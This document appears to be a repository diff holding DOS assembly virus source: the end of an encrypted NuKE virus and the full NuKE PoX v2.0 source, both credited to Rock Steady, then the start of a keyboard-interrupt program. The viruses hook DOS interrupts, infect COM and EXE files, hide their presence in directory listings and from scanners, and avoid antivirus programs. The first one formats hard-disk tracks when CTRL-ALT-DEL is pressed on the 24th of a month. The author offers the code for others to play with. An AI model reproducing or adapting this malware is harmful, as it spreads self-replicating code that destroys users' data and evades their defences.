;-* Encrypted Copies of the Virus) -*
;*- Bytes: 609 Bytes Memory: (609 * 2) = 1,218 Bytes *-
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
crypt_size equ crypt - init_virus ;All that gets Incrypted
virus_size equ last - init_virus ;Size of the Virus
mut1 equ 3
mut2 equ 1
mut3 equ 103h
del_code equ 53h ;CTRL-ATL-DEL Key
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
rocko proc far
start: jmp init_virus ;+3 bytes
;-*-*-*-*-*-*-*-*-[Start of Virus]*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
init_virus: call decrypt ;Decryption Routine Please ;+3 Bytes
call doit_now ;Doit VirusMan... ;+3 Bytes
;========
doit_now: pop bp ;Anything ABOVE THIS LINE 9 Bytes
sub bp,109h ;have to be added to the 100h! This
push ax ;SETs our `Delta Pointer'.
push bx
push cx
push dx ;Save registers
push si
push di
push bp
push es
push ds
mov ax,0abcdh ;Are we resident Already?
int 21h
cmp bx,0abcdh ;Yupe... Quit Then...
je exit_com
push cs ;Get CS=DS
pop ds
mov cx,es
mov ax,3509h ;Hook Int 9 Please...
int 21h
mov word ptr cs:[int9+2][bp],es ;Save Orignal Int 9h
mov word ptr cs:[int9][bp],bx ;Save Orignal Int 9h
mov ax,3521h ;Some AVs may INTCEPT this Call!
int 21h ;May be better to go Manually...
mov word ptr cs:[int21+2][bp],es ;Save the Int
mov word ptr cs:[int21][bp],bx ;Vector Table
dec cx ;Get a new Memory block
mov es,cx ;Put it Back to ES
mov bx,es:mut1
mov dx,virus_size+virus_size ;Size to `Hide'
mov cl,4 ;And all this crap hides
shr dx,cl ;your number of bytes in DX
add dx,4
mov cx,es
sub bx,dx
inc cx
mov es,cx
mov ah,4ah ;Call int to do it...
int 21h
jc exit_com
mov ah,48h
dec dx
mov bx,dx ;It's Done... Yeah!
int 21h
jc exit_com
dec ax
mov es,ax
mov cx,8h ;Here we move our Virus into
mov es:mut2,cx ;the `Hidden' memory!
sub ax,0fh
mov di,mut3
mov es,ax
mov si,bp
add si,offset init_virus
mov cx,virus_size
cld
repne movsb
mov ax,2521h ;Restore Int21 with ours
mov dx,offset int21_handler ;Where it starts
push es
pop ds
int 21h
mov ax,2509h ;Restore Int9 with ours
mov dx,offset int9_handler ;The Handler...
int 21h
push cs
pop ds
exit_com:
mov bx,offset buffer ; Its a COM file restore
add bx,bp ; First three Bytes...
mov ax,[bx] ; Mov the Byte to AX
mov word ptr ds:[100h],ax ; First two bytes Restored
add bx,2 ; Get the next Byte
mov al,[bx] ; Move the Byte to AL
mov byte ptr ds:[102h],al ; Restore the Last of 3 Byt
pop ds
pop es
pop bp ; Restore Regesters
pop di
pop si
pop dx
pop cx
pop bx
pop ax
mov ax,100h ; Jump Back to Beginning
push ax ; Restores our IP (a CALL
retn ; Saves them, now we change
int21 dd ? ;Our Old Int21
int9 dd ? ;Our Old Int9
;-*-*-*-*-*-*-*-*[Int 9h Handler]-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
int9_handler:
push ax
in al,60h ;Has the user attempted a
cmp al,del_code ;CTRL-ALT-DEL
je warm_reboot ;Yes! Screw him
bye_bye: pop ax
jmp dword ptr cs:[int9] ;Nope, Leave alone
warm_reboot:
mov ah,2ah ;Get Date Please
int 21h
cmp dl,18h ;Is it 24th of the Month?
jne bye_bye ;Yes, bye_Bye HD
mov ch,0
hurt_me: mov ah,05h
mov dh,0
mov dl,80h ;Formats a few tracks...
int 13h ;Hurts So good...
inc ch
cmp ch,20h
loopne hurt_me
db 0eah,0f0h,0ffh,0ffh,0ffh ;Reboot!
iret
;-*-*-*-*-*-*-*-*-[Dir Stealth Handler]-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
dir_handler:
pushf
push cs
call int21call ;Get file Stats
test al,al ;Good FCB?
jnz no_good ;nope
push ax
push bx
push es
mov ah,51h ;Is this Undocmented? huh...
int 21h
mov es,bx
cmp bx,es:[16h]
jnz not_infected ;Not for us man...
mov bx,dx
mov al,[bx]
push ax
mov ah,2fh ;Get file DTA
int 21h
pop ax
inc al
jnz fcb_okay
add bx,7h
fcb_okay: mov ax,es:[bx+17h]
and ax,1fh ;UnMask Seconds Field
xor al,1dh ;Is in 58 seconds?
jnz not_infected ;Nope...
and byte ptr es:[bx+17h],0e0h
sub es:[bx+1dh],virus_size ;Yes minus virus size
sbb es:[bx+1fh],ax
not_infected:pop es
pop bx
pop ax
no_good: iret
;-*-*-*-*-*-*-*-*[Int 21h Handler]*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
int21_handler:
cmp ax,4b00h ;File executed
je execute
cmp ah,11h ;Dir handler
je dir_handler
cmp ah,12h ;Next file Dir handler
je dir_handler
cmp ax,0abcdh ;Virus testing
jne int21call
mov bx,0abcdh
int21call:
jmp dword ptr cs:[int21] ;Split...
ret
execute:
push ax
push bx
push cx
push dx
push si
push di
push es
push ds
mov ax,4300h ;Get file Attribs
int 21h
jc exit
test cl,1h ;Make sure there normal
jz open_file ;Okay there are
and cl,0feh ;Nope, Fix them...
mov ax,4301h ;Save them now
int 21h
jc exit
open_file: mov ax,3D02h
int 21h ;Open File to Infect please
jc exit ;Error Split
mov bx,ax ;BX File handler
mov ax,5700h ;Get file TIME + DATE
int 21h
mov al,cl
or cl,1fh ;Un mask Seconds
dec cx ;60 seconds
dec cx ;58 seconds
xor al,cl ;Is it 58 seconds?
jz exit ;File already infected
push cs
pop ds
mov word ptr ds:[old_time],cx ;Save Time
mov word ptr ds:[old_date],dx ;Save Date
mov ah,3Fh
mov cx,3h
mov dx,offset ds:[buffer] ;Read first 3 bytes
int 21h
jc exit_now ;Error Split
mov ax,4202h ;Move file pointer to end
xor cx,cx ;of file...
xor dx,dx
int 21h
jc exit_now ;Error Split
cmp word ptr cs:[buffer],5A4Dh ;Is file an EXE?
je exit ;Yupe! Split
mov cx,ax
sub cx,3 ;Set the JMP
mov word ptr cs:[jump_address+1],cx
call infect_me ;Infect!
jc exit_now ;error split
mov ah,40h ;Write back the first 3
mov dx,offset ds:[jump_address] ;bytes
mov cx,3h
int 21h
exit_now:
mov cx,word ptr cs:[old_time] ;Restore old time
mov dx,word ptr cs:[old_date] ;Restore Old date
mov ax,5701h
int 21h
mov ah,3Eh
int 21h ;Close File now...
exit:
pop ds
pop es
pop di
pop si
pop dx
pop cx
pop bx
pop ax
jmp dword ptr cs:[int21] ;Jmp back to whatever
rocko endp
;-*-*-*-*-*-*-*-*-*[Infection Routine]*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
infect_me proc near
mov ah,2ch ;Get Time
int 21h
push dx ;Split seconds to AX
pop ax
mov byte ptr cs:[value],al ;AL = 0 to 99
;New Encryption Value
mov cx,virus_size
push cs
pop es ;Copy ANOTHER copy of the
mov si,offset init_virus ;Virus to the end of us
mov di,offset last
repne movsb
mov cx,crypt_size
sub cx,3h ;Encrypt that 2nd copy!
push bp
mov bp,offset last + 3h
call decrypt_encrypt
pop bp
mov ah,40h ;Write the New Encrypted
mov dx,offset last ;Virus to File!
mov cx,virus_size
int 21h
jc exit_error ;Error Split
mov ax,4200h
xor cx,cx ;Pointer back to beginning
xor dx,dx ;file!
int 21h
jc exit_error ;Split Dude...
clc ;Clear carry flag
retn
exit_error:
stc ;Set carry flag
retn
infect_me endp
old_time dw ?
old_date dw ?
jump_address db 0E9h,90h,90h
buffer db 90h,0CDh,020h
crypt:
msgs db "(c) Rock Steady/NuKE" ;No other than `Moi'...
;-*-*-*-*[Simple BUT EFFECTIVE Encryption/Decryption Routine]-*-*-*-*-*-*-
decrypt proc near
pop bp
push bp
mov al,byte ptr [value-106h][bp] ;Get new Encryption
mov cx,crypt_size ;Value
decrypt_encrypt:
xor cs:[bp],al ;Fuck Scanners and put a
inc bp ;`NOT AL' anywhere here...
loop decrypt_encrypt
retn
value db 00h ;Encryption value!
decrypt endp
last:
seg_a ends
end start

View File

@ -0,0 +1,842 @@
;==========================================================================
; ** NuKE Pox v2.0 **
;This is VERY old code but I promised to give it out, you'll see it exactly
;like Npox v1.1 in IJ#4, The code here is VERY BADLY written, I wrote WHOLE
;procedures TWICE! so LOTS of double code, I leave it UNTOUCHED for you to
;see, and understand it! I don't care if you fuck with it, go for it!
;The method of TSR is old, method of getting the Vectors is bad, the way
;I infect EXEs ain't too hot... But hell it works! It infects overlays..
;it won't infect F-prot.exe or anything with ????SCAN.EXE like SCAN.EXE or
;TBSCAN.EXE etc... Command.com dies fast... Really neat...Play all you like
;
;And to all those that said I `Hacked' this...
; FFFFFF UU UU CCCC KK KK YY YY OOOO UU UU
; FF UU UU CC CC KK KK YY YY OO OO UU UU
; FFFF UU UU CC KKK === YY OO OO UU UU
; FF UU UU CC CC KK KK YY OO OO UU UU
; FF UUUUUU CCCC KK KK YY OOOO UUUUUU
;Just cuz you can't do it, doesn't mean I can't, anyhow my 93 viruses are
;500% better than this one...
;*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
;-* (c) Rock Steady, Viral Developments -*
;*- (c) NuKE Software Developement 1991, 1992 *-
;-* -*
;*- Virus: NuKE PoX Version: 2.0 *-
;-* ~~~~~~ ~~~~~~~~ -*
;*- Notes: EXE & COM & OVL Infector, TSR Virus. Dir Stealth Routine. *-
;-* Will Disinfect files that are opened, and re-infect them -*
;*- when they are closed! Executed files are disinfected then *-
;-* executed, and when terminated reinfected! -*
;*- VERY HARD to stop, it goes for your COMMAND.COM! beware! *-
;-* It is listed as a COMMON Virus due to is stealthiness! -*
;*- Bytes: 1800 Bytes *-
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
virus_size equ last - init_virus ;Virus size
mut1 equ 3
mut2 equ 1
mut3 equ 103h ;Offset location
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h ;COM file!
rocko proc far
start: jmp init_virus
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
; Virus Begins Here...
;-------------------------------------------------------------------------
init_virus: call doit_now ;Doit VirusMan...
doit_now: pop bp ;Not to Lose Track
sub bp,106h ;Set our position
push ax ;Save all the regesters
push bx
push cx
push dx
push si
push di
push bp
push es
push ds
mov ax,0abcdh ;Are we resident Already?
int 21h ;***McAfee Scan String!
cmp bx,0abcdh ;Yupe... Quit Then...
je exit_com
push cs ;Get CS=DS
pop ds
mov cx,es
mov ax,3521h ;Sometimes tend to inter-
int 21h ;cept this Interrupt...
mov word ptr cs:[int21+2][bp],es ;Save the Int
mov word ptr cs:[int21][bp],bx ;Vector Table
dec cx ;Get a new Memory block
mov es,cx ;Put it Back to ES
mov bx,es:mut1 ;Get TOM size
mov dx,virus_size ;Virus size in DX
mov cl,4 ;Shift 4 bits
shr dx,cl ;Fast way to divide by 16
add dx,4 ;add 1 more para segment
mov cx,es ;current MCB segment
sub bx,dx ;sub virus_size from TOM
inc cx ;put back right location
mov es,cx
mov ah,4ah ;Set_block
int 21h
jc exit_com
mov ah,48h ;now allocate it
dec dx ;number of para
mov bx,dx ;
int 21h
jc exit_com
dec ax ;get MCB
mov es,ax
mov cx,8h ;Made DOS the owner of MCB
mov es:mut2,cx ;put it...
sub ax,0fh ;get TOM
mov di,mut3 ;beginnig of our loc in mem
mov es,ax ;
mov si,bp ;delta pointer
add si,offset init_virus ;where to start
mov cx,virus_size
cld
repne movsb ;move us
mov ax,2521h ;Restore Int21 with ours
mov dx,offset int21_handler ;Where it starts
push es
pop ds
int 21h
exit_com: push cs
pop ds
cmp word ptr cs:[buffer][bp],5A4Dh
je exit_exe_file
mov bx,offset buffer ;Its a COM file restore
add bx,bp ;First three Bytes...
mov ax,[bx] ;Mov the Byte to AX
mov word ptr ds:[100h],ax ;First two bytes Restored
add bx,2 ;Get the next Byte
mov al,[bx] ;Move the Byte to AL
mov byte ptr ds:[102h],al ;Restore the Last of 3b
pop ds
pop es
pop bp ;Restore Regesters
pop di
pop si
pop dx
pop cx
pop bx
pop ax
mov ax,100h ;Jump Back to Beginning
push ax ;Restores our IP (a CALL
retn ;Saves them, now we changed
command db "C:\COMMAND.COM",0
exit_exe_file: mov bx,word ptr cs:[vir_cs][bp] ;fix segment loc
mov dx,cs ;
sub dx,bx
mov ax,dx
add ax,word ptr cs:[exe_cs][bp] ;add it to our segs
add dx,word ptr cs:[exe_ss][bp]
mov bx,word ptr cs:[exe_ip][bp]
mov word ptr cs:[fuck_yeah][bp],bx
mov word ptr cs:[fuck_yeah+2][bp],ax
mov ax,word ptr cs:[exe_ip][bp]
mov word ptr cs:[Rock_fix1][bp],dx
mov word ptr cs:[Rock_fix2][bp],ax
pop ds
pop es
pop bp
pop di
pop si
pop dx
pop cx
pop bx
pop ax
db 0B8h ;nothing but MOV AX,XXXX
Rock_Fix1:
dw 0
cli
mov ss,ax
db 0BCh ;nothing but MOV SP,XXXX
Rock_Fix2:
dw 0
sti
db 0EAh ;nothing but JMP XXXX:XXXX
Fuck_yeah:
dd 0
int21 dd ? ;Our Old Int21
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
; Dir Handler
;-------------------------------------------------------------------------
old_dir: call calldos21 ;get FCB
test al,al ;error?
jnz old_out ;nope
push ax
push bx
push es
mov ah,51h ;get PSP
int 21h
mov es,bx ;
cmp bx,es:[16h] ;
jnz not_infected
mov bx,dx
mov al,[bx]
push ax
mov ah,2fh
int 21h
pop ax
inc al ;Extended FCB?
jnz fcb_okay
add bx,7h
fcb_okay: mov ax,es:[bx+17h]
and ax,1fh
cmp al,1eh
jnz not_infected
and byte ptr es:[bx+17h],0e0h ;fix secs
sub word ptr es:[bx+1dh],virus_size
sbb word ptr es:[bx+1fh],0
not_infected: pop es
pop bx
pop ax
old_out: iret
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
; Int 21 Handler
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
int21_handler: cmp ah,11h
je old_dir
cmp ah,12h
je old_dir
cmp ax,4b00h ;File executed
je dis_infect
cmp ah,3dh
je check_file
cmp ah,3eh
je check_file2
cmp ax,0abcdh ;Virus testing
jne int21call
mov bx,0abcdh
int21call: jmp dword ptr cs:[int21] ;Split...
check_file: jmp opening_file ;Like a Charm
check_file2: jmp closing_file
dis_infect: call disinfect ;EXE & COM okay
dont_disinfect: push dx
pushf
push cs
call int21call
pop dx
execute: push ax
push bx
push cx
push dx
push ds
push ax
push bx
push cx
push dx
push ds
push bp
push cs
pop ds
mov dx,offset command
mov bp,0abcdh
jmp command1
command_ret: pop bp
pop ds
pop dx
pop cx
pop bx
pop ax
call check_4_av
jc exit1
command1: mov ax,4300h ;Get file Attribs
call calldos21
jc exit1
test cl,1h ;Make sure there normal
jz open_file ;Okay there are
and cl,0feh ;Nope, Fix them...
mov ax,4301h ;Save them now
call calldos21
jc exit
open_file: mov ax,3D02h
call calldos21
exit1: jc exit
mov bx,ax ;BX File handler
mov ax,5700h ;Get file TIME + DATE
Call calldos21
mov al,cl
or cl,1fh ;Un mask Seconds
dec cx ;60 seconds
xor al,cl ;Is it 60 seconds?
jz exit ;File already infected
push cs
pop ds
mov word ptr ds:[old_time],cx ;Save Time
mov word ptr ds:[old_date],dx ;Save Date
mov ah,3Fh
mov cx,1Bh ;Read first 1B
mov dx,offset ds:[buffer] ;into our Buffer
call calldos21
jc exit_now ;Error Split
mov ax,4202h ;Move file pointer
xor cx,cx ;to EOF File
xor dx,dx
call calldos21
jc exit_now ;Error Split
cmp word ptr ds:[buffer],5A4Dh ;Is file an EXE?
je exe_infect ;Infect EXE file
mov cx,ax
sub cx,3 ;Set the JMP
mov word ptr ds:[jump_address+1],cx
call infect_me ;Infect!
jc exit
mov ah,40h ;Write back the
mov dx,offset jump_address
mov cx,3h
call calldos21
exit_now:
mov cx,word ptr ds:[old_time] ;Restore old time
mov dx,word ptr ds:[old_date] ;Restore Old date
mov ax,5701h
call calldos21
mov ah,3Eh
call calldos21
exit: cmp bp,0abcdh
je command2
pop ds
pop dx
pop cx
pop bx
pop ax
iret
command2: jmp command_ret
exe_infect: mov cx,word ptr cs:[buffer+20]
mov word ptr cs:[exe_ip],cx
mov cx,word ptr cs:[buffer+22]
mov word ptr cs:[exe_cs],cx
mov cx,word ptr cs:[buffer+16]
mov word ptr cs:[exe_sp],cx
mov cx,word ptr cs:[buffer+14]
mov word ptr cs:[exe_ss],cx
push ax
push dx
call multiply
sub dx,word ptr cs:[buffer+8]
mov word ptr cs:[vir_cs],dx
push ax
push dx
call infect_me
pop dx
pop ax
mov word ptr cs:[buffer+22],dx
mov word ptr cs:[buffer+20],ax
pop dx
pop ax
jc exit
add ax,virus_size
adc dx,0
push ax
push dx
call multiply
sub dx,word ptr cs:[buffer+8]
add ax,40h
mov word ptr cs:[buffer+14],dx
mov word ptr cs:[buffer+16],ax
pop dx
pop ax
push bx
push cx
mov cl,7
shl dx,cl
mov bx,ax
mov cl,9
shr bx,cl
add dx,bx
and ax,1FFh
jz outta_here
inc dx
outta_here: pop cx
pop bx
mov word ptr cs:[buffer+2],ax
mov word ptr cs:[buffer+4],dx
mov ah,40h
mov dx,offset ds:[buffer]
mov cx,20h
call calldos21
exit_exe: jmp exit_now
rocko endp
vir_cs dw 0
exe_ip dw 0
exe_cs dw 0
exe_sp dw 0
exe_ss dw 0
exe_sz dw 0
exe_rm dw 0
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
; Opening File handle AX=3D
;-------------------------------------------------------------------------
opening_file: call check_extension
jnc open_fuck2
call check_exten_exe
jnc open_fuck2
jmp dword ptr cs:[int21]
open_fuck2: push ax
mov ax,3d02h
call calldos21
jnc open_fuck1
pop ax
iret
open_fuck1: push bx
push cx
push dx
push ds
mov bx,ax
mov ax,5700h
call calldos21
mov al,cl
or cl,1fh
dec cx ;60 Seconds
xor al,cl
jnz opening_exit3
dec cx
mov word ptr cs:[old_time],cx
mov word ptr cs:[old_date],dx
mov ax,4202h ;Yes Pointer to EOF
xor cx,cx
xor dx,dx
call calldos21
mov cx,dx
mov dx,ax
push cx
push dx
sub dx,1Bh ;Get first 3 Bytes
sbb cx,0
mov ax,4200h
call calldos21
push cs
pop ds
mov ah,3fh ;Read them into Buffer
mov cx,1Bh
mov dx,offset buffer
call calldos21
xor cx,cx ;Goto Beginning of File
xor dx,dx
mov ax,4200h
call calldos21
mov ah,40h ;Write first three bytes
mov dx,offset buffer
mov cx,1Bh
cmp word ptr cs:[buffer],5A4Dh
je open_exe_jmp
mov cx,3h
open_exe_jmp: call calldos21
pop dx ;EOF - Virus_Size
pop cx ;to get ORIGINAL File size
sub dx,virus_size
sbb cx,0
mov ax,4200h
call calldos21
mov ah,40h ;Fix Bytes
xor cx,cx
call calldos21
mov cx,word ptr cs:[old_time]
mov dx,word ptr cs:[old_date]
mov ax,5701h
int 21h
mov ah,3eh ;Close File
call calldos21
opening_exit3: pop ds
pop dx
pop cx
pop bx
pop ax
jmp dword ptr cs:[int21]
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
; Closing File Handle INFECT it!
;-------------------------------------------------------------------------
closing_file: cmp bx,0h
je closing_bye
cmp bx,5h
ja close_cont
closing_bye: jmp dword ptr cs:[int21]
close_cont: push ax
push bx
push cx
push dx
push di
push ds
push es
push bp
push bx
mov ax,1220h
int 2fh
mov ax,1216h
mov bl,es:[di]
int 2fh
pop bx
add di,0011h
mov byte ptr es:[di-0fh],02h
add di,0017h
cmp word ptr es:[di],'OC'
jne closing_next_try
cmp byte ptr es:[di+2h],'M'
jne pre_exit
jmp closing_cunt3
closing_next_try:
cmp word ptr es:[di],'XE'
jne pre_exit
cmp byte ptr es:[di+2h],'E'
jne pre_exit
closing_cunt: cmp word ptr es:[di-8],'CS'
jnz closing_cunt1 ;SCAN
cmp word ptr es:[di-6],'NA'
jz pre_exit
closing_cunt1: cmp word ptr es:[di-8],'-F'
jnz closing_cunt2 ;F-PROT
cmp word ptr es:[di-6],'RP'
jz pre_exit
closing_cunt2: cmp word ptr es:[di-8],'LC'
jnz closing_cunt3
cmp word ptr es:[di-6],'AE' ;CLEAN
jnz closing_cunt3
pre_exit: jmp closing_nogood
closing_cunt3: mov ax,5700h
call calldos21
mov al,cl
or cl,1fh
dec cx ;60 Seconds
xor al,cl
jz closing_nogood
push cs
pop ds
mov word ptr ds:[old_time],cx
mov word ptr ds:[old_date],dx
mov ax,4200h
xor cx,cx
xor dx,dx
call calldos21
mov ah,3fh
mov cx,1Bh
mov dx,offset buffer
call calldos21
jc closing_no_good
mov ax,4202h
xor cx,cx
xor dx,dx
call calldos21
jc closing_no_good
cmp word ptr ds:[buffer],5A4Dh
je closing_exe
mov cx,ax
sub cx,3h
mov word ptr ds:[jump_address+1],cx
call infect_me
jc closing_no_good
mov ah,40h
mov dx,offset jump_address
mov cx,3h
call calldos21
closing_no_good:
mov cx,word ptr ds:[old_time]
mov dx,word ptr ds:[old_date]
mov ax,5701h
call calldos21
closing_nogood: pop bp
pop es
pop ds
pop di
pop dx
pop cx
pop bx
pop ax
jmp dword ptr cs:[int21]
closing_exe: mov cx,word ptr cs:[buffer+20]
mov word ptr cs:[exe_ip],cx
mov cx,word ptr cs:[buffer+22]
mov word ptr cs:[exe_cs],cx
mov cx,word ptr cs:[buffer+16]
mov word ptr cs:[exe_sp],cx
mov cx,word ptr cs:[buffer+14]
mov word ptr cs:[exe_ss],cx
push ax
push dx
call multiply
sub dx,word ptr cs:[buffer+8]
mov word ptr cs:[vir_cs],dx
push ax
push dx
call infect_me
pop dx
pop ax
mov word ptr cs:[buffer+22],dx
mov word ptr cs:[buffer+20],ax
pop dx
pop ax
jc closing_no_good
add ax,virus_size
adc dx,0
push ax
push dx
call multiply
sub dx,word ptr cs:[buffer+8]
add ax,40h
mov word ptr cs:[buffer+14],dx
mov word ptr cs:[buffer+16],ax
pop dx
pop ax
push bx
push cx
mov cl,7
shl dx,cl
mov bx,ax
mov cl,9
shr bx,cl
add dx,bx
and ax,1FFh
jz close_split
inc dx
close_split: pop cx
pop bx
mov word ptr cs:[buffer+2],ax
mov word ptr cs:[buffer+4],dx
mov ah,40h
mov dx,offset ds:[buffer]
mov cx,20h
call calldos21
closing_over: jmp closing_no_good
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
; Infection Routine...
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
infect_me proc
mov ah,40h
mov dx,offset init_virus
mov cx,virus_size
call calldos21
jc exit_error ;Error Split
mov ax,4200h
xor cx,cx ;Pointer back to
xor dx,dx ;top of file
call calldos21
jc exit_error ;Split Dude...
clc ;Clear carry flag
ret
exit_error:
stc ;Set carry flag
ret
infect_me endp
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
; DisInfection Routine for 4B
;-------------------------------------------------------------------------
Disinfect PROC
push ax
push bx ;Save them
push cx
push dx
push ds
mov ax,4300h ;Get file Attribs
call calldos21
test cl,1h ;Test for Normal Attribs
jz okay_dis ;Yes, File can be opened
and cl,0feh ;No, Set them to Normal
mov ax,4301h ;Save attribs to file
call calldos21
jc half_way
okay_dis: mov ax,3d02h ;File now can be opened
call calldos21 ;Safely
jc half_way
mov bx,ax ;Put File Handle in BX
mov ax,5700h ;Get File Time & Date
call calldos21
mov al,cl ;Check to see if infected
or cl,1fh ;Unmask Seconds
dec cx ;Test to see if 60 seconds
xor al,cl
jnz half_way ;No, Quit File AIN'T
dec cx
mov word ptr cs:[old_time],cx
mov word ptr cs:[old_date],dx
mov ax,4202h ;Yes, file is infected
xor cx,cx ;Goto the End of File
xor dx,dx
call calldos21
push cs
pop ds
mov cx,dx ;Save Location into
mov dx,ax ;CX:DX
push cx ;Push them for later use
push dx
sub dx,1Bh ;Subtract file 1Bh from the
sbb cx,0 ;End so you will find the
mov ax,4200h ;Original EXE header or
call calldos21 ;First 3 bytes for COMs
mov ah,3fh ;Read them into Buffer
mov cx,1Bh ;Read all of the 1B bytes
mov dx,offset buffer ;Put them into our buffer
call calldos21
jmp half
half_way: jmp end_dis
half: xor cx,cx ;
xor dx,dx ;Goto the BEGINNING of file
mov ax,4200h
call calldos21
mov ah,40h ;Write first three bytes
mov dx,offset buffer ;from buffer to COM
mov cx,1Bh
cmp word ptr cs:[buffer],5A4Dh
je dis_exe_jmp
mov cx,3h
dis_exe_jmp: call calldos21
pop dx ;Restore CX:DX which they
pop cx ;to the End of FILE
sub dx,virus_size ;Remove Virus From the END
sbb cx,0 ;of the Orignal File
mov ax,4200h ;Get new EOF
call calldos21
mov ah,40h ;Write new EOF to File
xor cx,cx
call calldos21
mov cx,word ptr cs:[old_time]
mov dx,word ptr cs:[old_date]
mov ax,5701h
call calldos21
mov ah,3eh ;Close File
call calldos21
end_dis: pop ds
pop dx
pop cx ;Restore 'em
pop bx
pop ax
ret
disinfect ENDP
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
; Check File Extension DS:DX ASCIIZ
;--------------------------------------------------------------------------
Check_extension PROC
push si
push cx
mov si,dx
mov cx,256h
loop_me: cmp byte ptr ds:[si],2eh
je next_ok
inc si
loop loop_me
next_ok: cmp word ptr ds:[si+1],'OC'
jne next_1
cmp byte ptr ds:[si+3],'M'
je good_file
next_1: cmp word ptr ds:[si+1],'oc'
jne next_2
cmp byte ptr ds:[si+3],'m'
je good_file
next_2: pop cx
pop si
stc
ret
good_file: pop cx
pop si
clc
ret
Check_extension ENDP
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
; Check File Extension DS:DX ASCIIZ
;-------------------------------------------------------------------------
Check_exten_exe PROC
push si
push cx
mov si,dx
mov cx,256h
loop_me_exe: cmp byte ptr ds:[si],2eh
je next_ok_exe
inc si
loop loop_me_exe
next_ok_exe: cmp word ptr ds:[si+1],'XE'
jne next_1_exe
cmp byte ptr ds:[si+3],'E'
je good_file_exe
next_1_exe: cmp word ptr ds:[si+1],'xe'
jne next_2_exe
cmp byte ptr ds:[si+3],'e'
je good_file_exe
next_2_exe: pop cx
pop si
stc
ret
good_file_exe: pop cx
pop si
clc
ret
Check_exten_exe ENDP
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
; Call Int_21h Okay
;-------------------------------------------------------------------------
calldos21 PROC
pushf
call dword ptr cs:[int21]
retn
calldos21 ENDP
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
; MultiPly
;--------------------------------------------------------------------------
multiply PROC
push bx
push cx
mov cl,0Ch
shl dx,cl
xchg bx,ax
mov cl,4
shr bx,cl
and ax,0Fh
add dx,bx
pop cx
pop bx
retn
multiply ENDP
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
; Check for AV file... Like SCAN.EXE or F-PROT.EXE
;-------------------------------------------------------------------------
Check_4_av PROC
push si
push cx
mov si,dx
mov cx,256h
av: cmp byte ptr ds:[si],2eh
je av1
inc si
loop av
av1: cmp word ptr ds:[si-2],'NA'
jnz av2
cmp word ptr ds:[si-4],'CS'
jz fuck_av
av2: cmp word ptr ds:[si-2],'NA'
jnz av3
cmp word ptr ds:[si-4],'EL'
jz fuck_av
av3: cmp word ptr ds:[si-2],'TO'
jnz not_av
cmp word ptr ds:[si-4],'RP'
jz fuck_av
not_av: pop cx
pop si
clc
ret
fuck_av: pop cx
pop si
stc
ret
Check_4_av ENDP
msg db "NuKE PoX V2.0 - Rock Steady"
old_time dw 0
old_date dw 0
file_handle dw 0
jump_address db 0E9h,90h,90h
buffer db 90h,0CDh,020h ;\
db 18h DUP (00) ;-Make 1Bh Bytes
last:
seg_a ends
end start
;==========================================================================
;=========================================================================

View File

@ -0,0 +1,271 @@
INTERRUPTS SEGMENT AT 0H ;This is where the keyboard interrupt
ORG 9H*4 ;holds the address of its service routine
KEYBOARD_INT LABEL DWORD
INTERRUPTS ENDS
SCREEN SEGMENT AT 0B000H ;A dummy segment to use as the
SCREEN ENDS ;Extra Segment
ROM_BIOS_DATA SEGMENT AT 40H ;BIOS statuses held here, also keyboard buffer
ORG 1AH
HEAD DW ? ;Unread chars go from Head to Tail
TAIL DW ?
BUFFER DW 16 DUP (?) ;The buffer itself
BUFFER_END LABEL WORD
ROM_BIOS_DATA ENDS
CODE_SEG SEGMENT
ASSUME CS:CODE_SEG
ORG 100H ;ORG = 100H to make this into a .COM file
